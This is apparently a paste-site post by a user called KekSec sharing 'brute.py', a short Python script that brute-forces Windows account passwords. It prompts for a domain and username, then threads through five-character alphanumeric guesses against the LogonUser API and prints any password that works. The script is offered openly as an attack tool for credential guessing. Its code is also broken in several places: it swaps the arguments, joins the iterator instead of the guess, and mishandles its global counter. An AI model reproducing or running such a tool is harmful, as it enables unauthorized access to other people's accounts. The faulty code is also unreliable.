KekSec icon

brute.py - windows cred brute forcer local

KekSec | PRO | 07/17/21 06:49:20 PM UTC (Edited) | 0 ⭐ | 952 👁️ | Never ⏰ | []
text |

850 B

|

None

|

0 👍

/

0 👎

import threading
import win32security
import time
import string
import itertools
 domain = raw_input ("Domain: ")
username = raw_input ("Username: ")
global activethreads
activethreads = 0
def guesspw(domain,username,password):
  activethreads += 1
  try:
    hUser = win32security.LogonUser (
      username,
      domain,
      password,
      win32security.LOGON32_LOGON_NETWORK,
      win32security.LOGON32_PROVIDER_DEFAULT
    )
  except win32security.error:
    pass
  else:
    print "Succeeded ---> got password: " + domain + "\\" + username + " : " + password
  activethreads -= 1
 res = itertools.permutations(string.ascii_lowercase + string.ascii_uppercase + "0123456789", 5)
for guess in res:
  while activethreads >= 512:
    time.sleep(0.01)
  threading.Thread(target=guesspw, args=(username,domain,''.join(res),)).start()

Comments

  •  icon
    01/01/70 12:00:00 AM UTC
    Plain Text |

    0 B

    |

    👍

    /

    👎